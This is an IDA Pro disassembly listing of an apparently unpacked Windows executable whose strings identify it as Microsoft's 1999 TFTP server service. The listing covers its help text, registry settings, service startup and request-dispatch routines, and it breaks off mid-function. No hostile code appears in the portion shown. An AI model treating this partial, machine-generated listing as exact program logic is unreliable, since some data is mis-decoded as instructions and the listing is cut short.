;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; | Licensed to: 48-377D-7114-93 SRI International, 1 computer,	std, 11/2007 |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	7444CA55F4659E96596839551CFB5C3C

; File Name   :	u:\work\7444ca55f4659e96596839551cfb5c3c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	1000000
; Section 1. (virtual address 00001000)
; Virtual size			: 00003310 (  13072.)
; Section size in file		: 00003310 (  13072.)
; Offset to raw	data for section: 00001000
; Flags	60000020: Text Executable Readable
; Alignment	: default

		include	uni.inc	; see unicode subdir of	ida for	info on	unicode

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text		segment	para public 'CODE' use32
		assume cs:_text
		;org 1001000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_1001000	dd 77DB82ACh	dword_1001004	dd 77DB2985h	dword_1001008	dd 77DB858Eh	dword_100100C	dd 77DB7D4Dh	dword_1001010	dd 77DB2C54h	dword_1001014	dd 77DC9694h						; sub_1001DEB+6Br ...
		dd 0
dword_100101C	dd 77E9B0BBh	dword_1001020	dd 77E94CA6h	dword_1001024	dd 77E9C37Ah	dword_1001028	dd 77F877E0h	dword_100102C	dd 77E9C4E4h						; sub_1002F31+1C3r ...
dword_1001030	dd 77E8670Dh	dword_1001034	dd 77E86F37h	dword_1001038	dd 77E8668Ch						; sub_1001665:loc_1001762r ...
dword_100103C	dd 77E88778h						; sub_1001A91+1ABr
dword_1001040	dd 77E8B217h						; sub_10018DB+B4r ...
dword_1001044	dd 77E88D0Fh						; sub_10019F0+14r ...
dword_1001048	dd 77E85304h	dword_100104C	dd 77F8AA7Dh						; sub_1001A91+B5r ...
dword_1001050	dd 77FC9C41h	dword_1001054	dd 77E8A6C8h						; sub_1001E73+9Er ...
dword_1001058	dd 77F8AA4Ch						; sub_1001A91+4Er ...
dword_100105C	dd 77E94A02h, 77E9E673h, 77FC976Bh, 77E9310Fh					; sub_1001A91+2C1r ...
dword_100106C	dd 77E84B74h						; sub_100205A+4Er
dword_1001070	dd 77F89789h	dword_1001074	dd 77E9CFC6h			dd 0
dword_100107C	dd 78001DEAh	dword_1001080	dd 78003E70h	dword_1001084	dd 7800B426h	dword_1001088	dd 78014EE9h	dword_100108C	dd 78014DABh	dword_1001090	dd 7801D884h	dword_1001094	dd 78001000h						; sub_100205A+93r ...
dword_1001098	dd 78001EC9h	dword_100109C	dd 78012188h	dword_10010A0	dd 780010EDh						; sub_1001F54+47r ...
dword_10010A4	dd 7802A875h						; sub_1001DEB+8r
dword_10010A8	dd 78017A09h	dword_10010AC	dd 7800C9ACh						; sub_10027E1+77r ...
dword_10010B0	dd 78017E4Bh, 78022AA9h					; sub_1001665+1DBr
dword_10010B8	dd 7802A38Bh						; sub_1001DEB+19r
dword_10010BC	dd 78003C1Eh	dword_10010C0	dd 7800F56Ah	dword_10010C4	dd 78003E5Ah	dword_10010C8	dd 78003E64h	dword_10010CC	dd 78003E6Ah	dword_10010D0	dd 7803BB70h	dword_10010D4	dd 78025147h	dword_10010D8	dd 7800BB9Eh	dword_10010DC	dd 7800F7DCh, 7800B908h					; .text:01003B7Ar
dword_10010E4	dd 7801D1CFh						; sub_100333A+1B9r
dword_10010E8	dd 78014B25h	dword_10010EC	dd 7800269Eh						; sub_1001665+C0r ...
		dd 0
dword_10010F4	dd 75031311h	dword_10010F8	dd 75032B3Ch						; sub_1001A91+12Br ...
dword_10010FC	dd 75034A6Ah	dword_1001100	dd 75035502h	dword_1001104	dd 75032B57h						; sub_100230A+Fr ...
dword_1001108	dd 7503D027h	dword_100110C	dd 75032B57h						; sub_1002A3D+40r ...
; ---------------------------------------------------------------------------

locret_1001110:				; DATA XREF: sub_1001A91+10Fr
		retf
; ---------------------------------------------------------------------------
		db 0ACh, 3, 75h
dword_1001114	dd 7503125Ah	dword_1001118	dd 7503894Bh	dword_100111C	dd 75033284h						; sub_100205A+E7r ...
dword_1001120	dd 75035413h						; sub_1002F31+64r ...
dword_1001124	dd 75033A14h						; sub_1002F31+256r ...
dword_1001128	dd 750390C0h	dword_100112C	dd 75033832h						; sub_100333A+1EBr
dword_1001130	dd 7503306Fh						; sub_1002A3D+65r ...
		align 8
dword_1001138	dd 77347866h	dword_100113C	dd 773425A3h			dd 0
dword_1001144	dd 77F82A70h	dword_1001148	dd 77F8A557h	dword_100114C	dd 77FB6307h	dword_1001150	dd 77F92A89h						; sub_100333A+95r
dword_1001154	dd 77F97C81h						; sub_1002B5E+114r ...
dword_1001158	dd 77F816E4h						; sub_1002A3D+FDr ...
dword_100115C	dd 77F8F1D6h	dword_1001160	dd 77F9431Dh						; sub_10023D8+F2r
dword_1001164	dd 77F936B1h	dword_1001168	dd 77F912B1h						; sub_1002901+35r
dword_100116C	dd 77F8F73Ch	dword_1001170	dd 77F979C8h	dword_1001174	dd 77F8D7C7h						; sub_10018DB+D6r
dword_1001178	dd 77F975A5h						; sub_1002F31+34Dr ...
		dd 2 dup(0)
		dd 37ECADD7h, 0
		dd 4, 110h, 0
		dd 4C00h, 0
		dd 37ECADD7h, 0
		dd 3, 310h, 0
		dd 4D10h, 0
		dd 37ECADD7h, 0
		dd 6, 2	dup(0)
		dd 5020h, 0
		dd 37ECADD7h, 0
		dd 2, 1Ah, 0
		db 90h
		db 0FEh, 0A7h, 0FFh
aDNtPrivateNetS	db 'D:\nt\private\net\sockets\tcpsvcs\tftpd\tftpd.c built Sep 24 1999'
		db ' 22:17:18',0Ah,0
aOWritableFiles	db ' o writable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+C4o
aWritable	db 'writable',0         ; DATA XREF: sub_1001570+BFo
					; sub_10037BF+121o
		align 4
aOReadableFiles	db ' o Readable files keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+B6o
aReadable	db 'readable',0         ; DATA XREF: sub_1001570+B1o
					; sub_10037BF+F1o
		align 4
aOValidmastersK	db ' o ValidMasters   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+A8o
aMasters	db 'masters',0          ; DATA XREF: sub_1001570+A3o
					; sub_10037BF+C1o
aOValidclientsK	db ' o ValidClients   keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+9Ao
aClients	db 'clients',0          ; DATA XREF: sub_1001570+95o
					; sub_10037BF+8Eo
aTheseKeysAreSh	db 'These keys are shell patterns with * and ? (see examples above):',0Ah
					; DATA XREF: sub_1001570+8Do
		db 0
		align 4
aOStartdirector	db ' o StartDirectory keyname "%s"',0Ah,0 ; DATA XREF: sub_1001570+84o
aDirectory	db 'directory',0        ; DATA XREF: sub_1001570+7Fo
					; sub_10037BF+5Co
		align 4
aRegistryKeyNam	db 'Registry key names, all strings: HKEY_LOCAL_MACHINE %s',0Ah,0
					; DATA XREF: sub_1001570+76o
aSystemCurrentc	db 'System\CurrentControlSet\Services\tftpd\parameters',0
					; DATA XREF: sub_1001570+71o
					; sub_10037BF+13o
		align 10h
aTftpd_logfileI	db ' TFTPD_LOGFILE     is %s',0Ah ; DATA XREF: sub_1001570+68o
		db 0Ah,0
		align 4
aTftpd_log	db 'tftpd.log',0        ; DATA XREF: sub_1001570+63o
					; sub_1001665+1D6o
		align 4
aTftpd_default_	db ' TFTPD_DEFAULT_DIR is %s',0Ah,0 ; DATA XREF: sub_1001570+5Ao
		align 4
aTftpdroot	db '\tftpdroot\',0      ; DATA XREF: sub_1001570+55o
					; sub_1003910+1Eo
a?		db '-?',0               ; DATA XREF: sub_1001570+10o
		align 4
aA		db 'a+',0               ; DATA XREF: sub_1001665+1D1o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_100205A+31o
		align 10h
aUdp		db 'udp',0              ; DATA XREF: sub_100205A+2Co
aOptionNegotiat	db 'Option negotiation failure',0 ; DATA XREF: .data:01005CE0o
		align 10h
aNoSuchUser	db 'No such user',0     ; DATA XREF: .data:01005CDCo
		align 10h
aFileAlreadyExi	db 'File already exists',0 ; DATA XREF: .data:01005CD8o
aUnknownTransfe	db 'Unknown transfer ID',0 ; DATA XREF: .data:01005CD4o
aIllegalTftpOpe	db 'Illegal TFTP operation',0 ; DATA XREF: .data:01005CD0o
		align 10h
aDiskFullOrAllo	db 'Disk full or allocation exceeded',0 ; DATA XREF: .data:01005CCCo
		align 4
aAccessViolatio	db 'Access violation',0 ; DATA XREF: .data:01005CC8o
		align 4
aFileNotFound	db 'File not found',0   ; DATA XREF: .data:01005CC4o
		align 4
aErrorUndefined	db 'Error undefined',0  ; DATA XREF: .data:off_1005CC0o
aTsize		db 'tsize',0            ; DATA XREF: sub_10023D8:loc_100251Ao
		align 10h
aTimeout_0	db 'timeout',0          ; DATA XREF: sub_10023D8:loc_1002498o
aBlksize	db 'blksize',0          ; DATA XREF: sub_10023D8+4Eo
aTimeout	db 'Timeout',0          ; DATA XREF: sub_1002A3D+D2o
aInsufficientRe	db 'Insufficient resources',0 ; DATA XREF: sub_1002F31:loc_1003197o
					; sub_100333A+201o ...
		align 10h
aFileNameTooLon	db 'File name too long',0 ; DATA XREF: sub_1002F31+195o
					; sub_100333A+1A0o
		align 4
aMalformedFileN	db 'Malformed file name',0 ; DATA XREF: sub_1002F31+139o
					; sub_100333A+159o
aOctet		db 'octet',0            ; DATA XREF: sub_1002F31+D2o
					; sub_100333A:loc_100341Fo
		align 10h
aNetascii	db 'netascii',0         ; DATA XREF: sub_1002F31+9Fo
					; sub_100333A:loc_10033E1o
		align 4
asc_100155C:				; DATA XREF: sub_1003910+7Fo
		unicode	0, <\>,0
dword_1001560	dd 0FFFFFFFFh, 1003B5Eh, 1003B73h, 0
; =============== S U B	R O U T	I N E =======================================



sub_1001570	proc near		; CODE XREF: .text:01003B4Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 1
		push	esi
		jle	loc_1001646
		mov	eax, [esp+4+arg_4]
		mov	esi, offset a?	; "-?"
		mov	eax, [eax+4]


loc_1001588:				; CODE XREF: sub_1001570+34j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_10015AA
		test	cl, cl
		jz	short loc_10015A6
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_10015AA
		inc	eax
		inc	eax
		inc	esi
		inc	esi
		test	cl, cl
		jnz	short loc_1001588


loc_10015A6:				; CODE XREF: sub_1001570+22j
		xor	eax, eax
		jmp	short loc_10015AF
; ---------------------------------------------------------------------------


loc_10015AA:				; CODE XREF: sub_1001570+1Ej
					; sub_1001570+2Cj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_10015AF:				; CODE XREF: sub_1001570+38j
		test	eax, eax
		jnz	loc_1001646
		mov	esi, ds:dword_10010D4
		push	offset asc_1005010 ; " ======================================"...
		call	esi ; dword_10010D4
		pop	ecx
		push	offset aTftpdroot ; "\\tftpdroot\\"
		push	offset aTftpd_default_ ; " TFTPD_DEFAULT_DIR is	%s\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aTftpd_log ; "tftpd.log"
		push	offset aTftpd_logfileI ; " TFTPD_LOGFILE     is	%s\n\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aSystemCurrentc ; "System\\CurrentControlSet\\Services\\tftpd"...
		push	offset aRegistryKeyNam ; "Registry key names, all strings: HKEY_L"...
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aDirectory ; "directory"
		push	offset aOStartdirector ; " o StartDirectory keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aTheseKeysAreSh ; "These	keys are shell patterns	with * an"...
		call	esi ; dword_10010D4
		pop	ecx
		push	offset aClients	; "clients"
		push	offset aOValidclientsK ; " o ValidClients   keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aMasters	; "masters"
		push	offset aOValidmastersK ; " o ValidMasters   keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aReadable ; "readable"
		push	offset aOReadableFiles ; " o Readable files keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	offset aWritable ; "writable"
		push	offset aOWritableFiles ; " o writable files keyname \"%s\"\n"
		call	esi ; dword_10010D4
		pop	ecx
		pop	ecx
		push	0FFFFFFFFh
		call	ds:dword_10010EC
		pop	ecx


loc_1001646:				; CODE XREF: sub_1001570+6j
					; sub_1001570+41j
		push	offset off_1005CB0
		call	ds:dword_1001004
		test	eax, eax
		jnz	short loc_100165B
		call	ds:dword_1001038


loc_100165B:				; CODE XREF: sub_1001570+E3j
		push	0
		call	ds:dword_100101C
		pop	esi
		retn
sub_1001570	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001665	proc near		; DATA XREF: .data:01005CB4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		push	offset sub_1001DEB
		push	offset aTftpd	; "Tftpd"
		mov	dword_1006120, 30h
		mov	dword_1006124, 2
		mov	dword_1006128, ebp
		mov	dword_1006134, 1
		mov	dword_1006138, 4E20h
		mov	dword_100612C, ebp
		mov	dword_1006130, ebp
		call	ds:dword_1001010
		cmp	eax, ebp
		mov	dword_1006044, eax
		jz	loc_1001762
		mov	esi, ds:dword_1001014
		mov	edi, offset dword_1006120
		push	edi
		push	eax
		call	esi ; dword_1001014
		cmp	eax, ebp
		jz	loc_1001762
		mov	ebx, ds:dword_1001040
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		call	ebx ; dword_1001040
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		mov	dword_1005DDC, eax
		call	ebx ; dword_1001040
		cmp	dword_1005DDC, ebp
		mov	dword_1005DE0, eax
		jz	short loc_100171C
		cmp	eax, ebp
		jz	short loc_100171C
		push	offset dword_1006140
		push	101h
		call	ds:dword_10010FC
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_1001735
		call	ds:dword_10010F8


loc_100171C:				; CODE XREF: sub_1001665+96j
					; sub_1001665+9Aj ...
		push	1Fh
		call	sub_1001E73
		push	1
		call	ds:dword_10010EC
		pop	ecx


loc_100172C:				; CODE XREF: sub_1001665+218j
					; sub_1001665+224j
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn	8
; ---------------------------------------------------------------------------


loc_1001735:				; CODE XREF: sub_1001665+AFj
		push	edi
		mov	dword_1006124, 4
		push	dword_1006044
		mov	dword_1006128, 7
		mov	dword_1006134, ebp
		mov	dword_1006138, ebp
		call	esi ; dword_1001014
		cmp	eax, ebp
		jnz	short loc_100176A


loc_1001762:				; CODE XREF: sub_1001665+57j
					; sub_1001665+6Ej
		call	ds:dword_1001038
		jmp	short loc_100171C
; ---------------------------------------------------------------------------


loc_100176A:				; CODE XREF: sub_1001665+FBj
		push	9
		pop	ecx
		xor	eax, eax
		mov	edx, offset dword_10060C0
		mov	edi, edx
		rep stosd
		push	edx
		call	ds:dword_10010A4
		pop	ecx
		mov	edx, [esp+10h+arg_0]
		dec	edx
		mov	ebx, (offset dword_1005E07+1)
		jz	short loc_10017F3
		mov	eax, [esp+10h+arg_4]
		lea	eax, [eax+edx*4]
		mov	[esp+10h+arg_0], eax


loc_1001797:				; CODE XREF: sub_1001665+18Cj
		mov	eax, [esp+10h+arg_0]
		mov	eax, [eax]
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_10017F3
		movsx	ecx, byte ptr [eax+1]
		sub	ecx, 64h
		jz	short loc_10017C9
		dec	ecx
		jz	short loc_10017BD
		dec	ecx
		jnz	short loc_10017E9
		mov	dword_1005DD8, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017BD:				; CODE XREF: sub_1001665+147j
		mov	dword_1005DD4, 1
		jmp	short loc_10017E9
; ---------------------------------------------------------------------------


loc_10017C9:				; CODE XREF: sub_1001665+144j
		lea	edi, [eax+2]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_10017E9:				; CODE XREF: sub_1001665+14Aj
					; sub_1001665+156j ...
		sub	[esp+10h+arg_0], 4
		dec	edx
		cmp	edx, ebp
		ja	short loc_1001797


loc_10017F3:				; CODE XREF: sub_1001665+125j
					; sub_1001665+13Bj
		call	sub_10037BF
		call	sub_1003910
		mov	esi, ds:dword_10010A8
		push	ebx
		call	esi ; dword_10010A8
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_100182E
		call	ds:dword_10010AC
		push	ebx
		call	ds:dword_10010B0
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C
		push	ebx
		call	esi ; dword_10010A8
		cmp	eax, ebp
		pop	ecx
		jnz	loc_100171C


loc_100182E:				; CODE XREF: sub_1001665+1A5j
		cmp	dword_1005DD8, ebp
		jz	short loc_1001857
		push	offset aA	; "a+"
		push	offset aTftpd_log ; "tftpd.log"
		call	ds:dword_10010B0+4
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		mov	dword_1005DD0, eax
		jnz	short loc_1001857
		mov	dword_1005DD8, ebp


loc_1001857:				; CODE XREF: sub_1001665+1CFj
					; sub_1001665+1EAj
		push	offset dword_10060C0
		call	ds:dword_10010B8
		pop	ecx
		call	sub_10018DB
		call	sub_10019F0
		push	0FFFFFFFFh
		push	dword_1005DDC
		call	ds:dword_100103C
		cmp	eax, ebp
		jz	loc_100172C
		call	ds:dword_1001038
		jmp	loc_100172C
sub_1001665	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_100188E	proc near		; CODE XREF: sub_100205A+D5p
					; sub_1002F31+2A8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_1001100
		test	eax, eax
		jz	short loc_10018AE
		call	ds:dword_1001038
		xor	eax, eax
		jmp	short locret_10018D7
; ---------------------------------------------------------------------------


loc_10018AE:				; CODE XREF: sub_100188E+14j
		test	[ebp+arg_8], 1
		push	0
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		jz	short loc_10018C2
		push	offset loc_1001D74
		jmp	short loc_10018C7
; ---------------------------------------------------------------------------


loc_10018C2:				; CODE XREF: sub_100188E+2Bj
		push	offset loc_1001DDB


loc_10018C7:				; CODE XREF: sub_100188E+32j
		push	[ebp+arg_4]
		lea	eax, [ebp+var_4]
		push	eax
		call	ds:dword_1001174
		mov	eax, [ebp+var_4]

locret_10018D7:				; CODE XREF: sub_100188E+1Ej
		leave
		retn	0Ch
sub_100188E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_10018DB	proc near		; CODE XREF: sub_1001665+1FEp

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, ds:dword_1001044
		push	edi
		push	offset dword_1006080
		call	esi ; dword_1001044
		push	offset dword_1006020
		call	esi ; dword_1001044
		mov	eax, offset dword_1006098
		mov	dword_100609C, eax
		mov	dword_1006098, eax
		mov	eax, offset dword_1006038
		mov	dword_100603C, eax
		mov	dword_1006038, eax
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_1001FA6
		xor	esi, esi
		test	eax, eax
		jnz	short loc_1001957
		mov	eax, [ebp+var_4]
		xor	ebx, ebx
		cmp	[eax], esi
		jbe	short loc_100194F
		xor	edi, edi


loc_100192E:				; CODE XREF: sub_10018DB+72j
		mov	ecx, [eax+edi+4]
		cmp	ecx, esi
		jz	short loc_1001947
		cmp	ecx, 100007Fh
		jz	short loc_1001947
		push	ecx
		call	sub_100205A
		mov	eax, [ebp+var_4]


loc_1001947:				; CODE XREF: sub_10018DB+59j
					; sub_10018DB+61j
		inc	ebx
		add	edi, 18h
		cmp	ebx, [eax]
		jb	short loc_100192E


loc_100194F:				; CODE XREF: sub_10018DB+4Fj
		push	eax
		call	ds:dword_10010A0
		pop	ecx


loc_1001957:				; CODE XREF: sub_10018DB+46j
		push	offset dword_10060A0
		call	ds:dword_1001170
		cmp	eax, esi
		jnz	loc_10019EB
		mov	eax, 0EA60h
		push	esi
		push	eax
		push	eax
		push	esi
		push	offset sub_10029BA
		push	offset dword_1006048
		push	dword_10060A0
		call	ds:dword_1001178
		push	esi
		push	esi
		push	esi
		push	esi
		mov	edi, eax
		call	ds:dword_1001040
		cmp	eax, esi
		mov	dword_1005DF8, eax
		jnz	short loc_10019A2
		mov	eax, edi
		jmp	short loc_10019EB
; ---------------------------------------------------------------------------


loc_10019A2:				; CODE XREF: sub_10018DB+C1j
		push	esi
		push	0FFFFFFFFh
		push	esi
		push	offset sub_1002219
		push	eax
		push	offset dword_1005DFC
		call	ds:dword_1001174
		cmp	eax, esi
		jnz	short loc_10019EB
		mov	ecx, offset dword_1006100
		xor	eax, eax
		mov	edi, ecx
		push	ecx
		stosd
		stosd
		stosd
		stosd
		stosd
		mov	eax, dword_1005DF8
		push	offset dword_1005E00
		mov	dword_1006110, eax
		call	sub_1003A44
		cmp	eax, esi
		jz	short loc_10019E9
		cmp	eax, 3E5h
		jnz	short loc_10019EB


loc_10019E9:				; CODE XREF: sub_10018DB+105j
		xor	eax, eax


loc_10019EB:				; CODE XREF: sub_10018DB+89j
					; sub_10018DB+C5j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10018DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_10019F0	proc near		; CODE XREF: sub_1001665+203p
		mov	eax, offset dword_1006078
		push	offset dword_1006060
		mov	dword_100607C, eax
		mov	dword_1006078, eax
		call	ds:dword_1001044
		push	0
		push	0EFD1Ch
		push	0
		call	ds:dword_1001048
		mov	dword_1005DEC, eax
		retn
sub_10019F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A1F	proc near		; CODE XREF: sub_10029BA+79p
		push	ebx
		push	esi
		mov	ebx, offset dword_1006060
		push	edi
		push	ebx
		xor	esi, esi
		call	ds:dword_1001058
		mov	eax, dword_1005DF0
		sub	eax, dword_1005DF4
		cmp	eax, 0Ah
		jbe	short loc_1001A46
		shr	eax, 1
		mov	esi, eax
		jmp	short loc_1001A4E
; ---------------------------------------------------------------------------


loc_1001A46:				; CODE XREF: sub_1001A1F+1Fj
		cmp	eax, 3
		jbe	short loc_1001A4E
		push	2
		pop	esi


loc_1001A4E:				; CODE XREF: sub_1001A1F+25j
					; sub_1001A1F+2Aj
		test	esi, esi
		jbe	short loc_1001A86
		mov	edi, esi


loc_1001A54:				; CODE XREF: sub_1001A1F+65j
		mov	eax, dword_1006078
		mov	esi, eax
		mov	ecx, [eax]
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h]
		call	ds:dword_1001054
		push	esi
		push	0
		push	dword_1005DEC
		call	ds:dword_1001050
		dec	dword_1005DF0
		dec	edi
		jnz	short loc_1001A54


loc_1001A86:				; CODE XREF: sub_1001A1F+31j
		push	ebx
		call	ds:dword_100104C
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001A1F	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001A91	proc near		; CODE XREF: .text:01001DCCp
					; .text:01001DE1p

var_68		= byte ptr -68h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_30		= byte ptr -30h
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= byte ptr -10h
var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_10		= byte ptr  14h
arg_FF9C	= dword	ptr  0FFA0h
arg_FFA0	= dword	ptr  0FFA4h
arg_FFA4	= dword	ptr  0FFA8h
arg_FFA8	= dword	ptr  0FFACh
arg_FFD4	= dword	ptr  0FFD8h
arg_FFD8	= dword	ptr  0FFDCh
arg_10004	= dword	ptr  10008h

		mov	eax, 10004h
		call	sub_1003A3E
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	[esp+10h], ebp
		mov	ebx, offset dword_1006060


loc_1001AAA:				; CODE XREF: sub_1001A91+291j
		lea	eax, [esp+10h+arg_0]
		push	eax
		push	4004667Fh
		push	[esp+18h+arg_10004]
		call	ds:dword_1001114
		cmp	eax, ebp
		jnz	loc_1001D27
		cmp	[esp+1Ch+var_8], ebp
		jz	loc_1001D65
		xor	eax, eax
		lea	edi, [esp+1Ch+arg_10]
		stosd
		stosd
		stosd
		stosd
		push	ebx
		stosd
		call	ds:dword_1001058
		mov	eax, dword_1006078
		inc	dword_1005DF4
		cmp	eax, offset dword_1006078
		jz	short loc_1001B11
		mov	ecx, [eax]
		mov	esi, eax
		mov	eax, [eax+4]
		mov	[eax], ecx
		mov	[ecx+4], eax
		push	dword ptr [esi+30h]
		call	ds:dword_100105C+0Ch
		mov	eax, [esi+30h]
		jmp	short loc_1001B41
; ---------------------------------------------------------------------------


loc_1001B11:				; CODE XREF: sub_1001A91+64j
		inc	dword_1005DF0
		push	2FF6Ch
		push	8
		push	dword_1005DEC
		call	ds:dword_100105C+8
		mov	esi, eax
		cmp	esi, ebp
		jz	loc_1001D5E
		push	ebp
		push	ebp
		push	ebp
		push	ebp
		call	ds:dword_1001040
		mov	[esi+30h], eax


loc_1001B41:				; CODE XREF: sub_1001A91+7Ej
		push	ebx
		mov	[esp+40h+arg_0], eax
		call	ds:dword_100104C
		lea	ebp, [esi+34h]
		mov	ecx, 3FEFh
		xor	eax, eax
		mov	edi, ebp
		rep stosd
		stosb
		mov	eax, [esp+40h+arg_FFD8]
		mov	[esp+40h+var_1C], ebp
		mov	[esp+40h+var_20], 0FFBDh
		mov	[esp+40h+var_28], 10h
		mov	[esi+1Ch], eax
		lea	eax, [esp+40h+var_10]
		push	0
		push	eax
		lea	eax, [esp+48h+var_28]
		lea	edi, [esi+2Ch]
		push	eax
		lea	eax, [esi+0Ch]
		push	eax
		lea	eax, [esp+50h+var_30]
		push	eax
		push	edi
		lea	eax, [esp+58h+var_20]
		push	1
		push	eax
		push	[esp+60h+arg_FFD4]
		call	dword ptr ds:locret_1001110
		mov	[esp+64h+var_48], eax
		mov	ax, [esi+0Eh]
		push	eax
		call	ds:dword_100110C
		cmp	[esp+68h+var_4C], 0
		jz	short loc_1001C34
		call	ds:dword_10010F8
		cmp	eax, 3E5h
		jnz	loc_1001D2F
		mov	eax, dword_1005DDC
		push	0FFFFFFFFh
		mov	[esp+6Ch+var_40], eax
		mov	eax, [esp+6Ch+var_28]
		mov	[esp+6Ch+var_3C], eax
		lea	eax, [esp+6Ch+var_40]
		push	0
		push	eax
		push	2
		call	ds:dword_100105C+4
		cmp	eax, 0FFFFFFFFh
		jz	loc_1001D2F
		cmp	eax, 102h
		jz	loc_1001D2F
		test	eax, eax
		jz	loc_1001D2F
		lea	eax, [esp+78h+var_68]
		push	eax
		push	0
		lea	eax, [esp+80h+var_48]
		push	edi
		push	eax
		push	[esp+88h+arg_FF9C]
		call	ds:dword_1001108
		test	eax, eax
		jnz	short loc_1001C34
		call	ds:dword_10010F8
		jmp	loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C34:				; CODE XREF: sub_1001A91+129j
					; sub_1001A91+196j
		push	0
		push	dword_1005DDC
		call	ds:dword_100103C
		test	eax, eax
		jz	loc_1001D2F
		cmp	dword ptr [edi], 2
		jl	loc_1001CEA
		xor	edi, edi
		cmp	[esp+70h+arg_FFA8], edi
		jz	short loc_1001CDA
		mov	ax, [ebp+0]
		push	eax
		call	ds:dword_1001104
		movzx	ecx, ax
		test	ecx, ecx
		jle	short loc_1001CB8
		cmp	ecx, 2
		jle	short loc_1001C81
		cmp	ecx, 4
		jz	short loc_1001CB8
		cmp	ecx, 5
		jnz	short loc_1001CB8
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001C81:				; CODE XREF: sub_1001A91+1E2j
		cmp	ax, 1
		jnz	short loc_1001C94
		inc	dword_10060C4
		mov	edi, offset sub_1002F31
		jmp	short loc_1001CA5
; ---------------------------------------------------------------------------


loc_1001C94:				; CODE XREF: sub_1001A91+1F4j
		cmp	ax, 2
		jnz	short loc_1001CA5
		inc	dword_10060C8
		mov	edi, offset sub_100333A


loc_1001CA5:				; CODE XREF: sub_1001A91+201j
					; sub_1001A91+207j
		mov	eax, [esp+74h+arg_FFA0]
		test	edi, edi
		mov	[esi+8], eax
		jz	short loc_1001CEA
		push	esi
		call	edi ; sub_1002F31
		jmp	short loc_1001CEA
; ---------------------------------------------------------------------------


loc_1001CB8:				; CODE XREF: sub_1001A91+1DDj
					; sub_1001A91+1E7j ...
		push	0
		push	4
		push	[esp+7Ch+arg_FFA0]
		inc	dword_10060CC
		lea	eax, [esp+80h+var_20]
		push	eax
		lea	eax, [esp+84h+var_30]
		push	eax
		call	sub_100230A
		jmp	short loc_1001CEA
